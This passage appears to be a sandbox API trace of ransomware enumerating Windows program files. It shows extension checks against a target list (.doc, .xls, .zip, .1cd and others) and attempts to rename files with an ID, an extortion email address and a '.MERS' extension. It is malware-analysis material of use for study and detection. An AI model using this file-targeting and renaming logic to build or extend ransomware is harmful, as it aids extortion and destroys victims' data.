returned 4 [0259.151] lstrcmpiW (lpString1=".bz2", lpString2=".wmv") returned -1 [0259.151] lstrlenW (lpString=".7z") returned 3 [0259.151] lstrcmpiW (lpString1=".7z", lpString2="wmv") returned -1 [0259.151] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainBackground_PAL.wmv") returned 81 [0259.151] lstrlenW (lpString=".dbf") returned 4 [0259.151] lstrcmpiW (lpString1=".dbf", lpString2=".wmv") returned -1 [0259.151] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainBackground_PAL.wmv") returned 81 [0259.151] lstrlenW (lpString=".1cd") returned 4 [0259.151] lstrcmpiW (lpString1=".1cd", lpString2=".wmv") returned -1 [0259.151] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainBackground_PAL.wmv") returned 81 [0259.151] lstrlenW (lpString=".jpg") returned 4 [0259.151] lstrcmpiW (lpString1=".jpg", lpString2=".wmv") returned -1 [0259.151] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainBackground_PAL.wmv") returned 81 [0259.152] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainBackground_PAL.wmv") returned 81 [0259.152] lstrlenW (lpString=".doc") returned 4 [0259.152] lstrcmpiW (lpString1=".doc", lpString2=".wmv") returned -1 [0259.152] lstrlenW (lpString=".docx") returned 5 [0259.152] lstrcmpiW (lpString1=".docx", lpString2="L.wmv") returned -1 [0259.152] lstrlenW (lpString=".pdf") returned 4 [0259.152] lstrcmpiW (lpString1=".pdf", lpString2=".wmv") returned -1 [0259.152] lstrlenW (lpString=".xls") returned 4 [0259.152] lstrcmpiW (lpString1=".xls", lpString2=".wmv") returned 1 [0259.152] lstrlenW (lpString=".xlsx") returned 5 [0259.152] lstrcmpiW (lpString1=".xlsx", lpString2="L.wmv") returned -1 [0259.152] lstrlenW (lpString=".ppt") returned 4 [0259.152] lstrcmpiW (lpString1=".ppt", lpString2=".wmv") returned -1 [0259.152] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainBackground_PAL.wmv") returned 81 [0259.152] lstrlenW (lpString=".zip") returned 4 [0259.152] lstrcmpiW (lpString1=".zip", lpString2=".wmv") returned 1 [0259.152] lstrlenW (lpString=".rar") returned 4 [0259.152] lstrcmpiW (lpString1=".rar", lpString2=".wmv") returned -1 [0259.152] lstrlenW (lpString=".bz2") returned 4 [0259.152] lstrcmpiW (lpString1=".bz2", lpString2=".wmv") returned -1 [0259.152] lstrlenW (lpString=".7z") returned 3 [0259.152] lstrcmpiW (lpString1=".7z", lpString2="wmv") returned -1 [0259.152] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainBackground_PAL.wmv") returned 81 [0259.152] lstrlenW (lpString=".dbf") returned 4 [0259.152] lstrcmpiW (lpString1=".dbf", lpString2=".wmv") returned -1 [0259.152] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainBackground_PAL.wmv") returned 81 [0259.152] lstrlenW (lpString=".1cd") returned 4 [0259.152] lstrcmpiW (lpString1=".1cd", lpString2=".wmv") returned -1 [0259.152] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainBackground_PAL.wmv") returned 81 [0259.152] lstrlenW (lpString=".jpg") returned 4 [0259.153] lstrcmpiW (lpString1=".jpg", lpString2=".wmv") returned -1 [0259.153] lstrcmpiW (lpString1=".wmv", lpString2=".MERS") returned 1 [0259.153] lstrlenW (lpString="BabyBoyMainToScenesBackground.wmv") returned 33 [0259.153] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToScenesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymaintoscenesbackground.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0259.154] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x336ff1c | out: lpFileSize=0x336ff1c*=117214) returned 1 [0259.154] CloseHandle (hObject=0x388) returned 1 [0259.154] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToScenesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymaintoscenesbackground.wmv")) returned 0x20 [0259.154] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToScenesBackground.wmv.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymaintoscenesbackground.wmv.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0259.154] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToScenesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymaintoscenesbackground.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0259.154] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToScenesBackground.wmv") returned 85 [0259.154] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToScenesBackground.wmv") returned 85 [0259.154] lstrlenW (lpString=".doc") returned 4 [0259.154] lstrcmpiW (lpString1=".doc", lpString2=".wmv") returned -1 [0259.154] lstrlenW (lpString=".docx") returned 5 [0259.154] lstrcmpiW (lpString1=".docx", lpString2="d.wmv") returned -1 [0259.154] lstrlenW (lpString=".pdf") returned 4 [0259.154] lstrcmpiW (lpString1=".pdf", lpString2=".wmv") returned -1 [0259.154] lstrlenW (lpString=".xls") returned 4 [0259.154] lstrcmpiW (lpString1=".xls", lpString2=".wmv") returned 1 [0259.154] lstrlenW (lpString=".xlsx") returned 5 [0259.155] lstrcmpiW (lpString1=".xlsx", lpString2="d.wmv") returned -1 [0259.155] lstrlenW (lpString=".ppt") returned 4 [0259.155] lstrcmpiW (lpString1=".ppt", lpString2=".wmv") returned -1 [0259.155] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToScenesBackground.wmv") returned 85 [0259.155] lstrlenW (lpString=".zip") returned 4 [0259.155] lstrcmpiW (lpString1=".zip", lpString2=".wmv") returned 1 [0259.155] lstrlenW (lpString=".rar") returned 4 [0259.155] lstrcmpiW (lpString1=".rar", lpString2=".wmv") returned -1 [0259.155] lstrlenW (lpString=".bz2") returned 4 [0259.155] lstrcmpiW (lpString1=".bz2", lpString2=".wmv") returned -1 [0259.155] lstrlenW (lpString=".7z") returned 3 [0259.155] lstrcmpiW (lpString1=".7z", lpString2="wmv") returned -1 [0259.155] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToScenesBackground.wmv") returned 85 [0259.155] lstrlenW (lpString=".dbf") returned 4 [0259.155] lstrcmpiW (lpString1=".dbf", lpString2=".wmv") returned -1 [0259.155] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToScenesBackground.wmv") returned 85 [0259.155] lstrlenW (lpString=".1cd") returned 4 [0259.155] lstrcmpiW (lpString1=".1cd", lpString2=".wmv") returned -1 [0259.155] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToScenesBackground.wmv") returned 85 [0259.155] lstrlenW (lpString=".jpg") returned 4 [0259.155] lstrcmpiW (lpString1=".jpg", lpString2=".wmv") returned -1 [0259.155] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToScenesBackground.wmv") returned 85 [0259.155] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToScenesBackground.wmv") returned 85 [0259.155] lstrlenW (lpString=".doc") returned 4 [0259.155] lstrcmpiW (lpString1=".doc", lpString2=".wmv") returned -1 [0259.155] lstrlenW (lpString=".docx") returned 5 [0259.155] lstrcmpiW (lpString1=".docx", lpString2="d.wmv") returned -1 [0259.155] lstrlenW (lpString=".pdf") returned 4 [0259.155] lstrcmpiW (lpString1=".pdf", lpString2=".wmv") returned -1 [0259.156] lstrlenW (lpString=".xls") returned 4 [0259.156] lstrcmpiW (lpString1=".xls", lpString2=".wmv") returned 1 [0259.156] lstrlenW (lpString=".xlsx") returned 5 [0259.156] lstrcmpiW (lpString1=".xlsx", lpString2="d.wmv") returned -1 [0259.156] lstrlenW (lpString=".ppt") returned 4 [0259.156] lstrcmpiW (lpString1=".ppt", lpString2=".wmv") returned -1 [0259.156] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToScenesBackground.wmv") returned 85 [0259.156] lstrlenW (lpString=".zip") returned 4 [0259.156] lstrcmpiW (lpString1=".zip", lpString2=".wmv") returned 1 [0259.156] lstrlenW (lpString=".rar") returned 4 [0259.156] lstrcmpiW (lpString1=".rar", lpString2=".wmv") returned -1 [0259.156] lstrlenW (lpString=".bz2") returned 4 [0259.156] lstrcmpiW (lpString1=".bz2", lpString2=".wmv") returned -1 [0259.156] lstrlenW (lpString=".7z") returned 3 [0259.156] lstrcmpiW (lpString1=".7z", lpString2="wmv") returned -1 [0259.156] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToScenesBackground.wmv") returned 85 [0259.156] lstrlenW (lpString=".dbf") returned 4 [0259.156] lstrcmpiW (lpString1=".dbf", lpString2=".wmv") returned -1 [0259.156] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToScenesBackground.wmv") returned 85 [0259.156] lstrlenW (lpString=".1cd") returned 4 [0259.156] lstrcmpiW (lpString1=".1cd", lpString2=".wmv") returned -1 [0259.156] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToScenesBackground.wmv") returned 85 [0259.156] lstrlenW (lpString=".jpg") returned 4 [0259.156] lstrcmpiW (lpString1=".jpg", lpString2=".wmv") returned -1 [0259.157] lstrcmpiW (lpString1=".wmv", lpString2=".MERS") returned 1 [0259.157] lstrlenW (lpString="BabyBoyMainToScenesBackground_PAL.wmv") returned 37 [0259.157] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToScenesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymaintoscenesbackground_pal.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0259.157] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x336ff1c | out: lpFileSize=0x336ff1c*=141214) returned 1 [0259.157] CloseHandle (hObject=0x388) returned 1 [0259.157] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToScenesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymaintoscenesbackground_pal.wmv")) returned 0x20 [0259.157] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToScenesBackground_PAL.wmv.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymaintoscenesbackground_pal.wmv.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0259.157] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToScenesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymaintoscenesbackground_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0259.157] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToScenesBackground_PAL.wmv") returned 89 [0259.157] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToScenesBackground_PAL.wmv") returned 89 [0259.157] lstrlenW (lpString=".doc") returned 4 [0259.157] lstrcmpiW (lpString1=".doc", lpString2=".wmv") returned -1 [0259.157] lstrlenW (lpString=".docx") returned 5 [0259.157] lstrcmpiW (lpString1=".docx", lpString2="L.wmv") returned -1 [0259.158] lstrlenW (lpString=".pdf") returned 4 [0259.158] lstrcmpiW (lpString1=".pdf", lpString2=".wmv") returned -1 [0259.158] lstrlenW (lpString=".xls") returned 4 [0259.158] lstrcmpiW (lpString1=".xls", lpString2=".wmv") returned 1 [0259.158] lstrlenW (lpString=".xlsx") returned 5 [0259.158] lstrcmpiW (lpString1=".xlsx", lpString2="L.wmv") returned -1 [0259.158] lstrlenW (lpString=".ppt") returned 4 [0259.158] lstrcmpiW (lpString1=".ppt", lpString2=".wmv") returned -1 [0259.158] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToScenesBackground_PAL.wmv") returned 89 [0259.158] lstrlenW (lpString=".zip") returned 4 [0259.158] lstrcmpiW (lpString1=".zip", lpString2=".wmv") returned 1 [0259.158] lstrlenW (lpString=".rar") returned 4 [0259.158] lstrcmpiW (lpString1=".rar", lpString2=".wmv") returned -1 [0259.158] lstrlenW (lpString=".bz2") returned 4 [0259.158] lstrcmpiW (lpString1=".bz2", lpString2=".wmv") returned -1 [0259.158] lstrlenW (lpString=".7z") returned 3 [0259.158] lstrcmpiW (lpString1=".7z", lpString2="wmv") returned -1 [0259.158] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToScenesBackground_PAL.wmv") returned 89 [0259.158] lstrlenW (lpString=".dbf") returned 4 [0259.158] lstrcmpiW (lpString1=".dbf", lpString2=".wmv") returned -1 [0259.158] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToScenesBackground_PAL.wmv") returned 89 [0259.158] lstrlenW (lpString=".1cd") returned 4 [0259.158] lstrcmpiW (lpString1=".1cd", lpString2=".wmv") returned -1 [0259.158] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToScenesBackground_PAL.wmv") returned 89 [0259.158] lstrlenW (lpString=".jpg") returned 4 [0259.158] lstrcmpiW (lpString1=".jpg", lpString2=".wmv") returned -1 [0259.158] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToScenesBackground_PAL.wmv") returned 89 [0259.158] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToScenesBackground_PAL.wmv") returned 89 [0259.158] lstrlenW (lpString=".doc") returned 4 [0259.159] lstrcmpiW (lpString1=".doc", lpString2=".wmv") returned -1 [0259.159] lstrlenW (lpString=".docx") returned 5 [0259.159] lstrcmpiW (lpString1=".docx", lpString2="L.wmv") returned -1 [0259.159] lstrlenW (lpString=".pdf") returned 4 [0259.159] lstrcmpiW (lpString1=".pdf", lpString2=".wmv") returned -1 [0259.159] lstrlenW (lpString=".xls") returned 4 [0259.159] lstrcmpiW (lpString1=".xls", lpString2=".wmv") returned 1 [0259.159] lstrlenW (lpString=".xlsx") returned 5 [0259.159] lstrcmpiW (lpString1=".xlsx", lpString2="L.wmv") returned -1 [0259.159] lstrlenW (lpString=".ppt") returned 4 [0259.159] lstrcmpiW (lpString1=".ppt", lpString2=".wmv") returned -1 [0259.159] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToScenesBackground_PAL.wmv") returned 89 [0259.159] lstrlenW (lpString=".zip") returned 4 [0259.159] lstrcmpiW (lpString1=".zip", lpString2=".wmv") returned 1 [0259.159] lstrlenW (lpString=".rar") returned 4 [0259.159] lstrcmpiW (lpString1=".rar", lpString2=".wmv") returned -1 [0259.159] lstrlenW (lpString=".bz2") returned 4 [0259.159] lstrcmpiW (lpString1=".bz2", lpString2=".wmv") returned -1 [0259.159] lstrlenW (lpString=".7z") returned 3 [0259.159] lstrcmpiW (lpString1=".7z", lpString2="wmv") returned -1 [0259.160] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToScenesBackground_PAL.wmv") returned 89 [0259.160] lstrlenW (lpString=".dbf") returned 4 [0259.160] lstrcmpiW (lpString1=".dbf", lpString2=".wmv") returned -1 [0259.160] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToScenesBackground_PAL.wmv") returned 89 [0259.160] lstrlenW (lpString=".1cd") returned 4 [0259.160] lstrcmpiW (lpString1=".1cd", lpString2=".wmv") returned -1 [0259.160] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToScenesBackground_PAL.wmv") returned 89 [0259.160] lstrlenW (lpString=".jpg") returned 4 [0259.160] lstrcmpiW (lpString1=".jpg", lpString2=".wmv") returned -1 [0259.160] lstrcmpiW (lpString1=".wmv", lpString2=".MERS") returned 1 [0259.160] lstrlenW (lpString="BabyBoyNotesBackground.wmv") returned 26 [0259.160] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyNotesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboynotesbackground.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0259.160] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x336ff1c | out: lpFileSize=0x336ff1c*=157292) returned 1 [0259.160] CloseHandle (hObject=0x388) returned 1 [0259.160] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyNotesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboynotesbackground.wmv")) returned 0x20 [0259.160] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyNotesBackground.wmv.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboynotesbackground.wmv.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0259.161] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyNotesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboynotesbackground.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0259.161] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyNotesBackground.wmv") returned 78 [0259.161] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyNotesBackground.wmv") returned 78 [0259.161] lstrlenW (lpString=".doc") returned 4 [0259.161] lstrcmpiW (lpString1=".doc", lpString2=".wmv") returned -1 [0259.161] lstrlenW (lpString=".docx") returned 5 [0259.161] lstrcmpiW (lpString1=".docx", lpString2="d.wmv") returned -1 [0259.161] lstrlenW (lpString=".pdf") returned 4 [0259.161] lstrcmpiW (lpString1=".pdf", lpString2=".wmv") returned -1 [0259.161] lstrlenW (lpString=".xls") returned 4 [0259.161] lstrcmpiW (lpString1=".xls", lpString2=".wmv") returned 1 [0259.161] lstrlenW (lpString=".xlsx") returned 5 [0259.161] lstrcmpiW (lpString1=".xlsx", lpString2="d.wmv") returned -1 [0259.161] lstrlenW (lpString=".ppt") returned 4 [0259.161] lstrcmpiW (lpString1=".ppt", lpString2=".wmv") returned -1 [0259.161] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyNotesBackground.wmv") returned 78 [0259.161] lstrlenW (lpString=".zip") returned 4 [0259.161] lstrcmpiW (lpString1=".zip", lpString2=".wmv") returned 1 [0259.161] lstrlenW (lpString=".rar") returned 4 [0259.161] lstrcmpiW (lpString1=".rar", lpString2=".wmv") returned -1 [0259.161] lstrlenW (lpString=".bz2") returned 4 [0259.161] lstrcmpiW (lpString1=".bz2", lpString2=".wmv") returned -1 [0259.161] lstrlenW (lpString=".7z") returned 3 [0259.161] lstrcmpiW (lpString1=".7z", lpString2="wmv") returned -1 [0259.161] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyNotesBackground.wmv") returned 78 [0259.161] lstrlenW (lpString=".dbf") returned 4 [0259.161] lstrcmpiW (lpString1=".dbf", lpString2=".wmv") returned -1 [0259.162] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyNotesBackground.wmv") returned 78 [0259.162] lstrlenW (lpString=".1cd") returned 4 [0259.162] lstrcmpiW (lpString1=".1cd", lpString2=".wmv") returned -1 [0259.162] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyNotesBackground.wmv") returned 78 [0259.162] lstrlenW (lpString=".jpg") returned 4 [0259.162] lstrcmpiW (lpString1=".jpg", lpString2=".wmv") returned -1 [0259.162] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyNotesBackground.wmv") returned 78 [0259.162] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyNotesBackground.wmv") returned 78 [0259.162] lstrlenW (lpString=".doc") returned 4 [0259.162] lstrcmpiW (lpString1=".doc", lpString2=".wmv") returned -1 [0259.162] lstrlenW (lpString=".docx") returned 5 [0259.162] lstrcmpiW (lpString1=".docx", lpString2="d.wmv") returned -1 [0259.162] lstrlenW (lpString=".pdf") returned 4 [0259.162] lstrcmpiW (lpString1=".pdf", lpString2=".wmv") returned -1 [0259.162] lstrlenW (lpString=".xls") returned 4 [0259.162] lstrcmpiW (lpString1=".xls", lpString2=".wmv") returned 1 [0259.162] lstrlenW (lpString=".xlsx") returned 5 [0259.162] lstrcmpiW (lpString1=".xlsx", lpString2="d.wmv") returned -1 [0259.162] lstrlenW (lpString=".ppt") returned 4 [0259.162] lstrcmpiW (lpString1=".ppt", lpString2=".wmv") returned -1 [0259.162] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyNotesBackground.wmv") returned 78 [0259.162] lstrlenW (lpString=".zip") returned 4 [0259.162] lstrcmpiW (lpString1=".zip", lpString2=".wmv") returned 1 [0259.162] lstrlenW (lpString=".rar") returned 4 [0259.162] lstrcmpiW (lpString1=".rar", lpString2=".wmv") returned -1 [0259.162] lstrlenW (lpString=".bz2") returned 4 [0259.162] lstrcmpiW (lpString1=".bz2", lpString2=".wmv") returned -1 [0259.162] lstrlenW (lpString=".7z") returned 3 [0259.162] lstrcmpiW (lpString1=".7z", lpString2="wmv") returned -1 [0259.163] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyNotesBackground.wmv") returned 78 [0259.163] lstrlenW (lpString=".dbf") returned 4 [0259.163] lstrcmpiW (lpString1=".dbf", lpString2=".wmv") returned -1 [0259.163] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyNotesBackground.wmv") returned 78 [0259.163] lstrlenW (lpString=".1cd") returned 4 [0259.163] lstrcmpiW (lpString1=".1cd", lpString2=".wmv") returned -1 [0259.163] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyNotesBackground.wmv") returned 78 [0259.163] lstrlenW (lpString=".jpg") returned 4 [0259.163] lstrcmpiW (lpString1=".jpg", lpString2=".wmv") returned -1 [0259.163] lstrcmpiW (lpString1=".wmv", lpString2=".MERS") returned 1 [0259.163] lstrlenW (lpString="BabyBoyNotesBackground_PAL.wmv") returned 30 [0259.163] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyNotesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboynotesbackground_pal.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0259.163] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x336ff1c | out: lpFileSize=0x336ff1c*=157292) returned 1 [0259.163] CloseHandle (hObject=0x388) returned 1 [0259.163] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyNotesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboynotesbackground_pal.wmv")) returned 0x20 [0259.163] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyNotesBackground_PAL.wmv.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboynotesbackground_pal.wmv.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0259.164] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyNotesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboynotesbackground_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0259.164] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyNotesBackground_PAL.wmv") returned 82 [0259.164] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyNotesBackground_PAL.wmv") returned 82 [0259.164] lstrlenW (lpString=".doc") returned 4 [0259.164] lstrcmpiW (lpString1=".doc", lpString2=".wmv") returned -1 [0259.164] lstrlenW (lpString=".docx") returned 5 [0259.164] lstrcmpiW (lpString1=".docx", lpString2="L.wmv") returned -1 [0259.164] lstrlenW (lpString=".pdf") returned 4 [0259.164] lstrcmpiW (lpString1=".pdf", lpString2=".wmv") returned -1 [0259.164] lstrlenW (lpString=".xls") returned 4 [0259.164] lstrcmpiW (lpString1=".xls", lpString2=".wmv") returned 1 [0259.164] lstrlenW (lpString=".xlsx") returned 5 [0259.164] lstrcmpiW (lpString1=".xlsx", lpString2="L.wmv") returned -1 [0259.164] lstrlenW (lpString=".ppt") returned 4 [0259.164] lstrcmpiW (lpString1=".ppt", lpString2=".wmv") returned -1 [0259.164] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyNotesBackground_PAL.wmv") returned 82 [0259.164] lstrlenW (lpString=".zip") returned 4 [0259.164] lstrcmpiW (lpString1=".zip", lpString2=".wmv") returned 1 [0259.164] lstrlenW (lpString=".rar") returned 4 [0259.164] lstrcmpiW (lpString1=".rar", lpString2=".wmv") returned -1 [0259.164] lstrlenW (lpString=".bz2") returned 4 [0259.164] lstrcmpiW (lpString1=".bz2", lpString2=".wmv") returned -1 [0259.165] lstrlenW (lpString=".7z") returned 3 [0259.165] lstrcmpiW (lpString1=".7z", lpString2="wmv") returned -1 [0259.165] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyNotesBackground_PAL.wmv") returned 82 [0259.165] lstrlenW (lpString=".dbf") returned 4 [0259.165] lstrcmpiW (lpString1=".dbf", lpString2=".wmv") returned -1 [0259.929] SetFilePointerEx (in: hFile=0x3a8, 